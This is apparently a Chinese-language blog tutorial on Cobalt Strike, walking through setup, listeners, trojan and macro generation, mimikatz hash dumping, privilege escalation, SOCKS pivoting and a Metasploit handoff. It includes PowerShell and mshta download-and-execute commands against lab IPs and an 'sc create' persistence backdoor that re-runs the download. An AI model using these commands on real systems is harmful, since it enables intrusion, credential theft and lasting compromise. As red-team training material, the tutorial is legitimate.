目录
Cobalt Strike 基础
/  

Cobalt Strike 基础

简介

Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

Cobalt Strike的安装

centos 安装需要的jdk版本的所有java程序:

yum -y install java-1.8.0-openjdk*

Ubuntu 默认只有openjdk的源,但是cobalt strike建议使用oracle jdk需要需要先加入源。

apt-get install software-properties-common python-software-propertie
add-apt-repository ppa:webupd8team/java
apt-get update
apt-get install oracle-Java8-installer

进入Cobalt Strike文件内部开启服务

sudo ./teamserver ip地址  密码

配置客户端

客户端需要安装java环境,平台并无特殊要求

参数详情

Cobalt Strike

New Connection # 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图
VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
Close # 退出连接

View

Applications # 显示受害主机的应用信息
Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads # 查看已下载文件
Event Log # 主机上线记录以及团队协作聊天记录
Keystrokes # 查看键盘记录结果
Proxy Pivots # 查看代理模块
Screenshots # 查看所有屏幕截图
Script Console # 加载第三方脚本以增强功能
Targets # 显示所有受害主机
Web Log # 所有Web服务的日志

Attacks

Packages

HTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各种语言版本的payload
USB/CD AutoPlay # 生成利用自动播放运行的木马文件
Windows Dropper # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
Windows Executable # 生成可执行exe木马
Windows Executable(Stageless) # 生成无状态的可执行exe木马

Web Drive-by

Manage # 对开启的web服务进行管理
Clone Site # 克隆网站,可以记录受害者提交的数据
Host File # 提供文件下载,可以选择Mime类型
Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish # 鱼叉钓鱼邮件

Reporting

Activity Report # 活动报告
Hosts Report # 主机报告
Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report # 会话报告
Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data # 重置数据
Export Data # 导出数据,导出.tsv文件格式

Help

Homepage # 官方主页
Support # 技术支持
Arsenal # 开发者
System information # 版本信息
About # 关于

工具栏

在这里插入图片描述

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于

使用

首先配置监听器:

点击上方Cobalt Strike选项——>在下拉框中选择listeners——>在下方弹出区域中单机add

image.png

name:为监听器名字。

选择payload类型

host为shell反弹接受主机(服务端IP)

port为反弹端口

创建监听器

点击Cobalt Strike -> Listeners->Add,其中内置了九个Listener

indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

image.png

生成木马

这里选择其中一种攻击方式作示范,后面再做详细解释:
点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可。

在这里插入图片描述

控制主机

  • 在目标列表单机右键,即可进入Beacon

    Interact # 互交窗口
    Access
    -- Dump Hashes # 获取hash(只能权限为administor使用)
    -- elevate #提权
    -- Golden Ticket #生成黄金票据注入当前会话
    -- Make Token # 凭证转换
    -- One-liner # 反弹shell
    -- Run Mimikatz # 运行 Mimikatz
    --Spawn As #用其他用户生成Cobalt Strike的beacon
    Explore
    -- Browser Pivot # 劫持目标浏览器进程并代理
    -- Destop Vnc # 桌面互交
    -- File Browser # 文件浏览器
    -- Net View # 网络列表
    -- Port Scan # 端口扫描
    -- Process List # 进程列表
    -- Screenshot # 截图
    Privoting
    -- SOCKS Server # 代理服务
    -- Listener # 反向端口转发
    -- Deploy VPN # 部署VPN
    Spawn #新的通讯模式并生成会话
    Session #会话管理,删除,心跳时间,退出,备注

Dump Hashes导出散列值

Beacon右键,Access–>Dump Hashes 或命令行中执行hashdump命令,hashdump必须在拥有adminstrators权限。在View–>Credentials中也可以查看。Access–>Run Mimikatz 或在命令行中执行logonpasswords命令。logonpasswords模块通过调用mimikatz的DLL文件。如果以管理员权限使用logonpasswords模块,mimikatz模块会将内存中的lsass.exe进程保存的用户明文密码和散列值直接导出。

image.png

make_token模拟指定用户

Access–>Make_token 或命令行中执行 make_token[DOMAIN\user][password]命令。如果已经获得了域用户的账号和密码,就可以使用此模块生成令牌,生成的令牌具有指定域用户的身份。

image.png

开启web服务

点击Attacks->Web Drive-by->Host File,选择刚刚生成的木马evil.hta,点击Launch生成下载链接

运行木马文件

mshta http://192.168.183.147/download/file.ext 目标上线

image.png

选中受害机右击,选择interact,即可进行交互,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。

Beacon Commands

Command                   Description
-------                   -----------
argue                     进程参数欺骗
blockdlls                 在子进程中阻止非Microsoft的DLLs文件
browserpivot              注入受害者浏览器进程
bypassuac                 绕过UAC
cancel                    取消正在进行的下载
cd                        切换目录
checkin                   强制让被控端回连一次
clear                     清除beacon内部的任务队列
connect                   通过TCP连接到Beacon
covertvpn                 部署Covert VPN客户端
cp                        复制文件
dcsync                    从DC中提取密码哈希
desktop                   远程VNC
dllinject                 反射DLL注入进程
dllload                   使用LoadLibrary将DLL加载到进程中
download                  下载文件
downloads                 列出正在进行的文件下载
drives                    列出目标盘符
elevate                   尝试提权
execute                   在目标上执行程序(无输出)
execute-assembly          在目标上内存中执行本地.NET程序
exit                      退出beacon
getprivs                  对当前令牌启用系统权限
getsystem                 尝试获取SYSTEM权限
getuid                    获取用户ID
hashdump                  转储密码哈希值
help                      帮助
inject                    在特定进程中生成会话
jobkill                   杀死一个后台任务
jobs                      列出后台任务
kerberos_ccache_use       从ccache文件中导入票据应用于此会话
kerberos_ticket_purge     清除当前会话的票据
kerberos_ticket_use       从ticket文件中导入票据应用于此会话
keylogger                 键盘记录
kill                      结束进程
link                      通过命名管道连接到Beacon
logonpasswords            使用mimikatz转储凭据和哈希值
ls                        列出文件
make_token                创建令牌以传递凭据
mimikatz                  运行mimikatz
mkdir                     创建一个目录
mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http                 使用HTTP作为通信通道
mv                        移动文件
net                       net命令
note                      给当前目标机器备注   
portscan                  进行端口扫描
powerpick                 通过Unmanaged PowerShell执行命令
powershell                通过powershell.exe执行命令
powershell-import         导入powershell脚本
ppid                      为生成的post-ex任务设置父PID
ps                        显示进程列表
psexec                    使用服务在主机上生成会话
psexec_psh                使用PowerShell在主机上生成会话
psinject                  在特定进程中执行PowerShell命令
pth                       使用Mimikatz进行传递哈希
pwd                       当前目录位置
reg                       查询注册表
rev2self                  恢复原始令牌
rm                        删除文件或文件夹
rportfwd                  端口转发
run                       在目标上执行程序(返回输出)
runas                     以另一个用户权限执行程序
runasadmin                在高权限下执行程序
runu                      在另一个PID下执行程序
screenshot                屏幕截图
setenv                    设置环境变量
shell                     cmd执行命令
shinject                  将shellcode注入进程
shspawn                   生成进程并将shellcode注入其中
sleep                     设置睡眠延迟时间
socks                     启动SOCKS4代理
socks stop                停止SOCKS4
spawn                     生成一个会话 
spawnas                   以其他用户身份生成会话
spawnto                   将可执行程序注入进程
spawnu                    在另一个PID下生成会话
ssh                       使用ssh连接远程主机
ssh-key                   使用密钥连接远程主机
steal_token               从进程中窃取令牌
timestomp                 将一个文件时间戳应用到另一个文件
unlink                    断开与Beacon的连接
upload                    上传文件
wdigest                   使用mimikatz转储明文凭据
winrm                     使用WinRM在主机上生成会话
wmi                       使用WMI在主机上生成会话

Socks代理

开启socks4a代理,通过代理进行内网渗透
开启socks,可以通过命令,也可以通过右键Pivoting->SOCKS Server

然后 vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器

使用proxychains代理扫描内网主机

proxychains nmap -sP 192.168.183.0/24

我们还可以通过隧道将整个msf带进目标内网
点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel:

image.png

关闭socks

beacon>socks stop

powershell-import

这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,如NishangPowerSploit攻击框架
在beacon shell输入powershell-import,导入已有的ps文件

beacon> powershell-import

image.png

image.png

shellcode生成

CS可以生成很多类型的shellcode,如c、c#、java、python、powershell、ruby、raw等

image.png

提权

elevate提权

Cobalt Strike内嵌了三个提权exp:ms14-058、uac-dll、uac-token-duplication
ms14-058是个老提权漏洞利用方式,可利用于Windows 7系统。
uac-dll和uac-token-duplication是Bypass UAC攻击,是由本地管理员运行payload从中等权限往最高权限提升的过程,适用于windows 7和windows 10。
我们可以通过导入cna文件来扩展漏洞库,项目地址为ElevateKit
点击Cobalt Strike->Script Manager来导入cna文件

选中目标机器右击选择Access->Elevate,选择相应的漏洞即可提权

权限维持

服务后门

点击Attacks->web driver-by ->script web delivery

image.png

点击launch生成如下命令

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))"


在目标设备执行以上命令会拿到普通用户的权限,这里需要提权
打开beacon shell并执行命令

shell sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))\""

在这里插入图片描述

服务项创建成功

image.png

不过此时该服务启动类型为手动,我们需要将其设置为自动

shell sc config "name" start**=** auto

与Metasploit联动

Cobalt Strike → Metasploit

msf开启监听模式

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.183.147
set lport 4444
run -j

创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致)

image.png


标题:Chisaka
作者:Chisaka
地址:https://www.xiaohongyan.cn/articles/2021/06/13/1623588879987.html
声明:博客上的所内容均可免费使用,可注明归属,注明作者或网址这种行为值得赞赏。